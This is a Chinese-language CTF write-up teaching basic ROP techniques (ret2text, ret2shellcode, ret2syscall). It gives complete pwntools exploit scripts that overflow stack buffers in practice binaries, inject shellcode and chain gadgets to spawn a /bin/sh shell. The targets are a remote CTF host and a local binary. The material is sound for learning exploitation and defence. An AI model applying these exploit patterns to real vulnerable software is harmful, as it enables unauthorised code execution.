用 p64 () 发送数据时,是发送的字节流,也就是比特流(二进制流)。
# 基本 ROP 学习
背景:NX 保护的开启 (No-eXecute, 不可执行保护)
核心思想:栈缓冲区溢出的基础上,利用程序中已有的小片段 (gadgets) 来改变某些寄存器或者变量的值,从而控制程序的执行流程。
ROP 攻击一般得满足如下条件:
-
程序存在溢出,并且可以控制返回地址。
-
可以找到满足条件的 gadgets 以及相应 gadgets 的地址。
# ret2text
ret2text 即控制程序执行程序本身已有的的代码 (.text)。
# pwn1_1
只开了 nx 保护
read()
函数读的数据长度比输入的字符 &buf
的长度长,能够造成溢出
发现后门函数
利用 ida 计算偏移量
用返回地址减去起始地址求得偏移量,这里 buf 相对于返回地址得偏移量为 0x18
exp 直通后门
# coding=utf-8 | |
from pwn import * | |
p=remote("gxh191.top",25537) | |
sh_addr=0x40119E | |
payload=b"a"*0x18+p64(sh_addr) | |
p.recv() | |
p.sendline(payload) | |
p.interactive() |
# pwn2_1
先 checksec 查看保护 只开了 nx 保护
也是栈溢出 read 函数 读 buf 大小 0x1000
但是多了个 if 和 strlen 需要用 \0 来控制字符串长度避免 exit 了
这是因为 strlen 遇到 \0 会停止读取,在写脚本时将填充 buf 的字符换成’\0’即可绕过 strlen 的限制
直接跳转到 b4ckd00r 函数会退出运行。因此 2-1 并不能像 1-1 一样直接跳转到 b4ckd00r 就行了 而是需要通过栈溢出跳转到 path
脚本如下
from pwn import * | |
context(arch = 'amd64', os = 'linux') | |
p=remote('gxh191.top', 25540) | |
payload=b'\0'*16+p64(0)+p64(0x4011EF) | |
p.sendline(payload) | |
p.interactive() |
# ret2shellcode
ret2shellcode,即控制程序执行 shellcode 代码。
# pwn2_2
checksec 查看保护
典中典之 NX
无现成后门可用
mprotect((&phone_number & 0xFFFFFFFFFFFFF000LL), 0x1000uLL, 7);
发现 mprotect 函数修改了 phone_number bss 段的权限
第三个参数为 7 表示可读可写可执行
即思路是将 shellcode 写入 phone_number bss 段 再通过栈溢出来执行
from pwn import * | |
context(arch = 'amd64', os = 'linux',log_level='debug') | |
io=remote('gxh191.top', 25542) | |
shellcode=asm(shellcraft.sh()) | |
payload=b'a'*16+p64(0x4040A0+0x18)+p64(0x4040A0) | |
io.sendlineafter('ber:',shellcode) | |
io.sendlineafter('uf:',payload) | |
io.interactive() |
# ret2syscall
# 原理
ret2syscall,即控制程序执行系统调用,获取 shell。
pop eax 将栈顶数据弹到 eax 里面
# 以 ctfwiki 上的例子做一下
NX 保护
gets 栈溢出先用 cyclic 获取偏移量
得偏移量 112
应用程序调用系统调用的过程是:
把系统调用的编号存入 EAX;
把函数参数存入其它通用寄存器;
触发 0x80 号中断(int 0x80)。
[sys_execve系统调用号是11也就是0xb]
Syscall 的函数调用规范为: execve(“/bin/sh”, 0,0)
;
所以,eax = 0xb | ebx = address of ‘/bin/sh’ | ecx = 0 | edx = 0
payload=b’a’*112+p32(pop_rax_ret)+p32(0xb)+p32(pop_other_ret)+p32(0)+p32(0)+p32(bin_addr)+p32(int_addr)
用 ROPgadget 获取一些命令片段的地址
先找 eax
0x080bb196 : pop eax ; ret
这个可以用
0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret
可以用 3 个寄存器都有了
再找’/bin/sh’字符串和 int 0x80
都找到了 可以写 exp 了
from pwn import * p=process(' ./rop') int_addr=0x8049421 bin_addr=0x80be408 pop_other_ret=0x806eb90 pop_eax_ret=0x80bb196 payload=b'a'*112+p32(pop_eax_ret)+p32(0xb)+p32(pop_other_ret)+p32(0)+p32(0)+p32(bin_addr)+p32(int_addr) p.sendline(payload) p.interactive()
运行一下 成功本地 get shell